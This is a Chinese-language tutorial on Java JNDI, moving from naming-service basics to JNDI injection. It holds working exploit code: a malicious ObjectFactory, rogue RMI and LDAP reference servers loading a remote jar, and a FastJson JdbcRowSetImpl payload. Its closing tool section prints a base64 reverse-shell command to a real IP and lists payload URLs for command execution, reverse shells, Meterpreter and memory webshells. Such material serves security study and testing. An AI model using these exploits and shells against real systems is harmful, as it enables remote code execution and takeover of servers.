介绍部分摘自:javasec之JNDI
JNDI介绍 JNDI(Java Naming and Directory Interface)
是Java提供的Java 命名和目录接口
。通过调用JNDI
的API
应用程序可以定位资源和其他程序对象。JNDI
是Java EE
的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)
,JNDI
可访问的现有的目录及服务有:JDBC
、LDAP
、RMI
、DNS
、NIS
、CORBA
。
Naming Service 命名服务:
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。
Directory Service 目录服务:
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性 。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。
Reference 引用:
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
更多JNDI
相关概念参考: Java技术回顾之JNDI:命名和目录服务基本概念
JNDI目录服务 访问JNDI
目录服务时会通过预先设置好环境变量访问对应的服务, 如果创建JNDI
上下文(Context
)时未指定环境变量
对象,JNDI
会自动搜索系统属性(System.getProperty())
、applet 参数
和应用程序资源文件(jndi.properties)
。
使用JNDI
创建目录服务对象代码片段:
1 2 3 4 5 6 7 8 9 10 11 Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "类名" ); env.put(Context.PROVIDER_URL, "url" ); DirContext context = new InitialDirContext(env);
Context.INITIAL_CONTEXT_FACTORY(初始上下文工厂的环境属性名称)
指的是JNDI
服务处理的具体类名称,如:DNS
服务可以使用com.sun.jndi.dns.DnsContextFactory
类来处理,JNDI
上下文工厂类必须实现javax.naming.spi.InitialContextFactory
接口,通过重写getInitialContext
方法来创建服务。
javax.naming.spi.InitialContextFactory:
1 2 3 4 5 6 7 package javax.naming.spi;public interface InitialContextFactory { public Context getInitialContext (Hashtable<?,?> environment) throws NamingException ; }
JNDI-DNS解析 JNDI
支持访问DNS
服务,注册环境变量时设置JNDI
服务处理的工厂类为com.sun.jndi.dns.DnsContextFactory
即可。
com.sun.jndi.dns.DnsContextFactory代码片段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.sun.jndi.dns;public class DnsContextFactory implements InitialContextFactory { public Context getInitialContext (Hashtable<?, ?> var1) throws NamingException { if (var1 == null ) { var1 = new Hashtable(5 ); } return urlToContext(getInitCtxUrl(var1), var1); } }
使用JNDI解析DNS测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package com.anbai.sec.jndi;import javax.naming.Context;import javax.naming.NamingException;import javax.naming.directory.Attributes;import javax.naming.directory.DirContext;import javax.naming.directory.InitialDirContext;import java.util.Hashtable;public class DNSContextFactoryTest { public static void main (String[] args) { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory" ); env.put(Context.PROVIDER_URL, "dns://223.6.6.6/" ); try { DirContext context = new InitialDirContext(env); Attributes attrs1 = context.getAttributes("baidu.com" , new String[]{"A" }); Attributes attrs2 = context.getAttributes("qq.com" , new String[]{"A" }); System.out.println(attrs1); System.out.println(attrs2); } catch (NamingException e) { e.printStackTrace(); } } }
程序运行结果:
1 2 {a=A: 110.242.68.66, 39.156.66.10} {a=A: 112.53.26.232, 111.30.144.71}
JNDI-RMI远程方法调用 RMI
的服务处理工厂类是:com.sun.jndi.rmi.registry.RegistryContextFactory
,在调用远程的RMI
方法之前需要先启动RMI
服务:rmi.server.RMIServerTest
,启动完成后就可以使用JNDI
连接并调用了。
使用JNDI解析调用远程RMI方法测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package rmi.server;import rmi.server.RMITestInterface;import javax.naming.Context;import javax.naming.NamingException;import javax.naming.directory.DirContext;import javax.naming.directory.InitialDirContext;import java.rmi.RemoteException;import java.util.Hashtable;import static rmi.server.RMIServerTest.*;public class RMIRegistryContextFactoryTest { public static void main (String[] args) { String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT; Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL, providerURL); try { DirContext context = new InitialDirContext(env); RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME); String result = testInterface.test(); System.out.println(result); } catch (NamingException e) { e.printStackTrace(); } catch (RemoteException e) { e.printStackTrace(); } } }
程序执行结果:
JNDI-LDAP LDAP
的服务处理工厂类是:com.sun.jndi.ldap.LdapCtxFactory
,连接LDAP
之前需要配置好远程的LDAP
服务。
使用JNDI创建LDAP连接测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package com.anbai.sec.jndi;import javax.naming.Context;import javax.naming.directory.DirContext;import javax.naming.directory.InitialDirContext;import java.util.Hashtable;public class LDAPFactoryTest { public static void main (String[] args) { try { String userDN = "cn=Manager,dc=javaweb,dc=org" ; String password = "123456" ; Hashtable<String, Object> env = new Hashtable<String, Object>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory" ); env.put(Context.PROVIDER_URL, "ldap://localhost:389" ); env.put(Context.SECURITY_AUTHENTICATION, "simple" ); env.put(Context.SECURITY_PRINCIPAL, userDN); env.put(Context.SECURITY_CREDENTIALS, password); DirContext ctx = new InitialDirContext(env); ctx.close(); } catch (Exception e) { e.printStackTrace(); } } }
JNDI-DataSource JNDI
连接数据源比较特殊,Java
目前不提供内置的实现方法,提供数据源服务的多是Servlet容器
,这里我们以Tomcat
为例学习如何在应用服务中使用JNDI
查找容器提供的数据源。
Tomcat
配置JNDI
数据源需要手动修改Tomcat目录/conf/context.xml
文件,参考:Tomcat JNDI Datasource ,这里我们在Tomcat
的conf/context.xml
中添加如下配置:
1 2 3 4 <Resource name ="jdbc/test" auth ="Container" type ="javax.sql.DataSource" maxTotal ="100" maxIdle ="30" maxWaitMillis ="10000" username ="root" password ="root" driverClassName ="com.mysql.jdbc.Driver" url ="jdbc:mysql://localhost:3306/mysql" />
然后我们需要下载好Mysql的JDBC驱动包 并复制到Tomcat
的lib
目录:
1 wget https://repo1.maven.org/maven2/mysql/mysql-connector-java/5.1.48/mysql-connector-java-5.1.48.jar -P "/data/apache-tomcat-8.5.31/lib"
配置好数据源之后我们重启Tomcat服务就可以使用JNDI
的方式获取DataSource
了。
使用JNDI获取数据源并查询数据库测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="javax.naming.Context" %> <%@ page import ="javax.naming.InitialContext" %> <%@ page import ="javax.sql.DataSource" %> <%@ page import ="java.sql.Connection" %> <%@ page import ="java.sql.ResultSet" %> <% Context context = new InitialContext(); DataSource dataSource = (DataSource) context.lookup("java:comp/env/jdbc/test" ); Connection connection = dataSource.getConnection(); ResultSet rs = connection.prepareStatement("select version()" ).executeQuery(); while (rs.next()) { out.println(rs.getObject(1 )); } rs.close(); %>
访问tomcat-datasource-lookup.jsp
输出: 5.7.28
,需要注意的是示例jsp
中的Demo使用了系统的环境变量
所以并不需要在创建context的时候传入环境变量
对象。Tomcat
在启动的时候会设置JNDI变量信息 ,处理JNDI
服务的类是org.apache.naming.java.javaURLContextFactory
,所以在jsp
中我们可以直接创建context
。
JNDI-协议转换 如果JNDI
在lookup
时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创建处理对应的服务请求。
JNDI
默认支持自动转换的协议有:
协议名称
协议URL
Context类
DNS协议
dns://
com.sun.jndi.url.dns.dnsURLContext
RMI协议
rmi://
com.sun.jndi.url.rmi.rmiURLContext
LDAP协议
ldap://
com.sun.jndi.url.ldap.ldapURLContext
LDAP协议
ldaps://
com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP对象请求代理协议
iiop://
com.sun.jndi.url.iiop.iiopURLContext
IIOP对象请求代理协议
iiopname://
com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP对象请求代理协议
corbaname://
com.sun.jndi.url.corbaname.corbanameURLContextFactory
RMI示例代码片段:
1 2 3 4 5 InitialContext context = new InitialContext(); Object obj = context.lookup("rmi://127.0.0.1:9527/test" );
示例代码通过lookup
会自动使用rmiURLContext
处理RMI
请求。
JNDI-Reference 在JNDI
服务中允许使用系统以外的对象,比如在某些目录服务中直接引用远程的Java对象,但遵循一些安全限制。
RMI/LDAP远程对象引用安全限制 在RMI
服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly
配置必须为false(允许加载远程对象)
,如果该值为true
则禁止引用远程对象。除此之外被引用的ObjectFactory
对象还将受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果该值为false(不信任远程引用对象)
一样无法调用远程的引用对象。
JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121
开始java.rmi.server.useCodebaseOnly
默认配置已经改为了true
。
JDK 6u132, JDK 7u122, JDK 8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值已改为了false
。
本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:
1 2 System.setProperty("java.rmi.server.useCodebaseOnly" , "false" ); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" );
或者在启动Java
程序时候指定-D参数
:-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true
。
LDAP
在JDK 11.0.1、8u191、7u201、6u211
后也将默认的com.sun.jndi.ldap.object.trustURLCodebase
设置为了false
。
高版本JDK
可参考:如何绕过高版本 JDK 的限制进行 JNDI 注入利用 。
使用创建恶意的ObjectFactory对象 JNDI
允许通过对象工厂(javax.naming.spi.ObjectFactory
)动态加载对象实现,例如,当查找绑定在名称空间中的打印机时,如果打印服务将打印机的名称绑定到 Reference,则可以使用该打印机 Reference 创建一个打印机对象,从而查找的调用者可以在查找后直接在该打印机对象上操作。
对象工厂必须实现 javax.naming.spi.ObjectFactory
接口并重写getObjectInstance
方法。
ReferenceObjectFactory示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package com.anbai.sec.jndi.injection;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;public class ReferenceObjectFactory implements ObjectFactory { public Object getObjectInstance (Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception { return Runtime.getRuntime().exec("curl localhost:9000" ); } }
创建恶意的RMI服务 如果我们在RMI
服务端绑定一个恶意的引用对象,RMI
客户端在获取服务端绑定的对象时发现是一个Reference
对象后检查当前JVM
是否允许加载远程引用对象,如果允许加载且本地不存在此对象工厂类则使用URLClassLoader
加载远程的jar
,并加载我们构建的恶意对象工厂(ReferenceObjectFactory
)类然后调用其中的getObjectInstance
方法从而触发该方法中的恶意RCE
代码。
包含恶意攻击的RMI服务端代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package com.anbai.sec.jndi.injection;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.Naming;import java.rmi.registry.LocateRegistry;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;public class RMIReferenceServerTest { public static void main (String[] args) { try { String url = "http://p2j.cn/tools/jndi-test.jar" ; String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory" ; LocateRegistry.createRegistry(RMI_PORT); Reference reference = new Reference(className, className, url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); Naming.bind(RMI_NAME, referenceWrapper); System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME); } catch (Exception e) { e.printStackTrace(); } } }
程序运行结果:
1 RMI服务启动成功,服务地址:rmi://127.0.0.1:9527/test
启动完RMIReferenceServerTest
后在本地监听9000
端口测试客户端调用RMI
方法后是否执行了curl localhost:9000
命令。
使用nc监听端口:
RMI客户端代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package com.anbai.sec.jndi.injection;import javax.naming.InitialContext;import javax.naming.NamingException;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;public class RMIReferenceClientTest { public static void main (String[] args) { try { InitialContext context = new InitialContext(); Object obj = context.lookup(RMI_NAME); System.out.println(obj); } catch (NamingException e) { e.printStackTrace(); } } }
程序运行结果:
1 Process[pid=8634, exitValue="not exited"]
客户端执行成功后可以在nc
中看到来自客户端的curl
请求:
1 2 3 4 GET / HTTP/1.1 Host: localhost:9000 User-Agent: curl/7.64.1 Accept: */*
上面的示例演示了在JVM
默认允许加载远程RMI
引用对象所带来的RCE
攻击,但在真实的环境下由于发起RMI
请求的客户端的JDK
版本大于我们的测试要求或者网络限制等可能会导致攻击失败。
创建恶意的LDAP服务 LDAP
和RMI
同理,测试方法也同上。启动LDAP服务端程序后我们会在LDAP
请求中返回一个含有恶意攻击代码的对象工厂的远程jar
地址,客户端会加载我们构建的恶意对象工厂(ReferenceObjectFactory
)类然后调用其中的getObjectInstance
方法从而触发该方法中的恶意RCE
代码。
包含恶意攻击的LDAP服务端代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 package com.anbai.sec.jndi.injection;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;public class LDAPReferenceServerTest { public static final int SERVER_PORT = 3890 ; public static final String BIND_HOST = "127.0.0.1" ; public static final String LDAP_ENTRY_NAME = "test" ; public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME; public static final String REMOTE_REFERENCE_JAR = "http://p2j.cn/tools/jndi-test.jar" ; private static final String LDAP_BASE = "dc=javasec,dc=org" ; public static void main (String[] args) { try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen" , InetAddress.getByName(BIND_HOST), SERVER_PORT, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()) ); config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); ds.startListening(); System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult (InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry entry = new Entry(base); try { String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory" ; entry.addAttribute("javaClassName" , className); entry.addAttribute("javaFactory" , className); entry.addAttribute("javaCodeBase" , REMOTE_REFERENCE_JAR); entry.addAttribute("objectClass" , "javaNamingReference" ); result.sendSearchEntry(entry); result.setResult(new LDAPResult(0 , ResultCode.SUCCESS)); } catch (Exception e1) { e1.printStackTrace(); } } } }
程序运行结果:
1 LDAP服务启动成功,服务地址:ldap://127.0.0.1:3890/test
LDAP客户端代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package com.anbai.sec.jndi.injection;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import static com.anbai.sec.jndi.injection.LDAPReferenceServerTest.LDAP_URL;public class LDAPReferenceClientTest { public static void main (String[] args) { try { Context ctx = new InitialContext(); Object obj = ctx.lookup(LDAP_URL); System.out.println(obj); } catch (NamingException e) { e.printStackTrace(); } } }
程序运行结果:
1 java.lang.UNIXProcess@184f6be2
JNDI注入漏洞利用 2016年BlackHat大会上us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf 提到了包括RMI
、LDAP
、CORBA
的JNDI
注入方式攻击方式被广泛的利用于近年来的各种JNDI
注入漏洞。
触发JNDI
注入漏洞的方式也是非常的简单,只需要直接或间接的调用JNDI
服务,且lookup
的参数值可控、JDK
版本、服务器网络环境满足漏洞利用条件就可以成功的利用该漏洞了。
示例代码:
1 2 3 4 5 6 7 import javax.naming.Contextimport javax.naming.InitialContextContext ctx = new InitialContext(); Object obj = ctx.lookup("注入JNDI服务URL" );
我们只需间接的找到调用了JNDI
的lookup
方法的类且lookup
的URL
可被我们恶意控制的后端接口或者服务即可利用。
FastJson 反序列化JNDI注入示例 比较典型的漏洞有FastJson
的JNDI
注入漏洞,FastJson
在反序列化JSON
对象时候会通过反射自动创建类实例且FastJson
会根据传入的JSON
字段间接的调用类成员变量的setXXX
方法。FastJson
这个反序列化功能看似无法实现RCE
,但是有人找出多个符合JNDI
注入漏洞利用条件的Java
类(如:com.sun.rowset.JdbcRowSetImpl
)从而实现了RCE
。
JdbcRowSetImpl示例:
1 2 3 4 5 6 7 <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import ="com.sun.rowset.JdbcRowSetImpl" %> <% JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName(request.getParameter("url" )); jdbcRowSet.setAutoCommit(true ); %>
假设我们能够动态的创建出JdbcRowSetImpl
类实例且可以间接的调用setDataSourceName
和setAutoCommit
方法,那么就有可能实现JNDI
注入攻击。FastJson
使用JdbcRowSetImpl
实现JNDI
注入攻击的大致的流程如下:
反射创建com.sun.rowset.JdbcRowSetImpl
对象。
反射调用setDataSourceName
方法,设置JNDI
的URL
。
反射调用setAutoCommit
方法,该方法会试图使用JNDI
获取数据源(DataSource
)对象。
调用lookup
方法去查找我们注入的URL
所绑定的恶意的JNDI
远程引用对象。
执行恶意的类对象工厂方法实现RCE。
FastJson JdbcRowSetImpl Payload:
1 2 3 4 5 { "@type" : "com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" : "ldap://127.0.0.1:3890/test" , "autoCommit" : "true" }
FastJson JNDI测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.anbai.sec.jndi.injection;import com.alibaba.fastjson.JSON;public class FastJsonRCETest { public static void main (String[] args) { String json = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:3890/test\", \"autoCommit\": \"true\" }" ; Object obj = JSON.parse(json); System.out.println(obj); } }
程序执行后nc会接收到本机的curl请求表明漏洞已利用成功:
1 2 3 4 GET / HTTP/1.1 Host: localhost:9000 User-Agent: curl/7.64.1 Accept: */*
JDNI注入工具 jndi-injection-exploit 可执行程序为jar包,在命令行中运行以下命令:
1 $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
常见用法:
1 2 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzUuMTU2LjEyNi82NiAwPiYx}|{base64,-d}|{bash,-i}' -A '101.35.156.126' # bash -i >& /dev/tcp/101.35.156.126/66 0>&1
其中:
注意:
要确保 1099 、1389 、8180 端口可用,不被其他程序占用。
或者你也可以在run.ServerStart类26~28行更改默认端口。
命令会被作为参数传入**Runtime.getRuntime().exec()**,
所以需要确保命令传入exec()方法可执行。
bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C “bash -c …”
JNDI 特点:满足不同需求,payload多
项目地址:https://github.com/su18/JNDI
介绍 本项目为 JNDI 注入利用工具,生成 JNDI 连接并启动后端相关服务,可用于 Fastjson、Jackson 等相关漏洞的验证。
本项目是基于 welk1n 的 JNDI-Injection-Exploit ,在此项目的基础服务框架上,重新编写了攻击利用代码,支持更多更强大的功能,并加入了多种方式进行回显的支持。
本项目为学习性项目,目前本人 Java 水平依然处于 hello world 的水平,建议各位师傅报着批判的眼光观看,不吝指导。QAQ
功能 本工具支持了利用 JNDI 注入构造多种恶意 payload,其中包括:
名称
功能
简介
BasicInfo
获取服务器基础信息
打印出 System.getProperties() 中的信息
Command
命令执行
反射调用 forkandexec 执行命令
DataSourceHack
获取Spring DataSource 明文
获取缓存在上下文中的 DataSource
DirList
目录遍历
使用 File 对象列目录
FileDelete
文件删除
使用 File 对象删除文件
FileRead
文件读取
使用 FileInputStream 读取文件
FileWrite
文件写入
使用 FileOutputStream 写文件
SQL Query
执行SQL语句
使用 JDBC 发出查询
SSRF
访问内网应用
发送 HTTP 请求,并将结果返回
对于具体功能的构建比较简单,几乎就是正常的功能性编程,只不过部分功能使用了反射,可能不易于阅读。
对这部分功能实现有疑问的同学可以在 Javasec 上找到相关的文章。
对于各项参数的配置使用了配置文件的方式,由于是在调用时会读取文件,并未将值进行缓存,所以可以随时修改配置文件中 payload 的值,无需重启服务。
除去基本功能,本工具加入了多种回显方式,使 JNDI 注入的结果能够返回,这样在研究或测试中可以更方便的看到结果,本攻击支持了如下回显方式:
名称
功能
简介
ExceptionEcho
报错回显
throw 一个异常,message 是我们执行的结果
OOBEcho
带外回显
向 dnslog 平台发送数据包携带执行结果
TomcatEcho
Tomcat 回显
通过 Tomcat 获取 response 将结果写入
WebLogicEcho
WebLogic 回显
通过 WebLogic 获取 response 将结果写入
有了这些功能,我们就可以把 JNDI 注入活活玩成 webshell。
使用 使用源代码执行:
下载项目源代码:
1 git clone git@github.com:JosephTribbianni/JNDI.git
执行 org.su18.server.ServerStart
的 main()
方法,可以在控制台中看到启动消息。
使用 jar 文件执行:
在 release 下载打包好的文件,解压压缩包,确保配置文件与 jar 文件位于同一目录下,请根据自定义需求修改端口号及其他配置项,运行 jar 文件:
1 java -jar JNDI-1.0-all.jar
查看生成的恶意类
可以使用 org.su18.asm.frame.Frame
类的 main()
方法生成 .class
文件进行查看。
执行后,会在项目根目录生成文件,使用任意手段 decompile 后可查看逻辑。
使用展示
这里利用 fastjson 结合 jndi 来进行部分功能使用展示:
命令执行 id :
基础信息:
获取 Spring 数据源信息:
对我电脑上的 /Users/phoebe/PycharmProjects 进行目录遍历:
文件读取 /etc/passwd
等等,剩余的就不展示了,自测吧。
上面使用了 TomcatEcho 进行回显,其他回显展示:
报错回显:
OOB 回显:
JNDIExploit 特点:payload多,有绕过模块,使用方便,可以直接执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 Supported LADP Queries: * all words are case INSENSITIVE when send to ldap server [+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g. ldap://0.0.0.0:1389/Basic/Dnslog/[domain] ldap://0.0.0.0:1389/Basic/Command/[cmd] ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd] ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported ldap://0.0.0.0:1389/Basic/TomcatEcho ldap://0.0.0.0:1389/Basic/SpringEcho ldap://0.0.0.0:1389/Basic/WeblogicEcho ldap://0.0.0.0:1389/Basic/TomcatMemshell1 ldap://0.0.0.0:1389/Basic/TomcatMemshell2 ---need extra header [shell: true] ldap://0.0.0.0:1389/Basic/TomcatMemshell3 /ateam pass1024 ldap://0.0.0.0:1389/Basic/GodzillaMemshell /bteam.ico pass1024 ldap://0.0.0.0:1389/Basic/JettyMemshell ldap://0.0.0.0:1389/Basic/WeblogicMemshell1 ldap://0.0.0.0:1389/Basic/WeblogicMemshell2 ldap://0.0.0.0:1389/Basic/JBossMemshell ldap://0.0.0.0:1389/Basic/WebsphereMemshell ldap://0.0.0.0:1389/Basic/SpringMemshell [+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g. ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain] ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain] ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd] ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcho ldap://0.0.0.0:1389/Deserialization/C3P0/SpringEcho ldap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcho ldap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshell ldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1 ldap://0.0.0.0:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells [+] TomcatBypass Queries ldap://0.0.0.0:1389/TomcatBypass/Dnslog/[domain] ldap://0.0.0.0:1389/TomcatBypass/Command/[cmd] ldap://0.0.0.0:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd] ldap://0.0.0.0:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported ldap://0.0.0.0:1389/TomcatBypass/TomcatEcho ldap://0.0.0.0:1389/TomcatBypass/SpringEcho ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell1 ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true] ldap://0.0.0.0:1389/TomcatBypass/TomcatMemshell3 /ateam pass1024 ldap://0.0.0.0:1389/TomcatBypass/GodzillaMemshell /bteam.ico pass1024 ldap://0.0.0.0:1389/TomcatBypass/SpringMemshell ldap://0.0.0.0:1389/TomcatBypass/Meterpreter/[ip]/[port] ---java/meterpreter/reverse_tcp [+] GroovyBypass Queries ldap://0.0.0.0:1389/GroovyBypass/Command/[cmd] ldap://0.0.0.0:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd] [+] WebsphereBypass Queries ldap://0.0.0.0:1389/WebsphereBypass/List/file=[file or directory] ldap://0.0.0.0:1389/WebsphereBypass/Upload/Dnslog/[domain] ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/[cmd] ldap://0.0.0.0:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd] ldap://0.0.0.0:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported ldap://0.0.0.0:1389/WebsphereBypass/Upload/WebsphereMemshell ldap://0.0.0.0:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
header加上cmd传入命令即可
-h是vps的http监听地址,-l是vps的ldap监听地址
特点:有绕过模块
项目地址:https://github.com/wyzxxz/jndi_tool
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 声明: 此工具仅用于企业安全人员自查验证自身企业资产的安全风险,或有合法授权的安全测试,请勿用于其他用途,如有,后果自负。 download_url : https://toolaffix.oss-cn-beijing.aliyuncs.com/jndi_tool.jar > java -jar jndi_tool.jar Usage: jndi_http: java -cp jndi_tool.jar jndi.HRMIServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn" java -cp jndi_tool.jar jndi.HLDAPServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn" 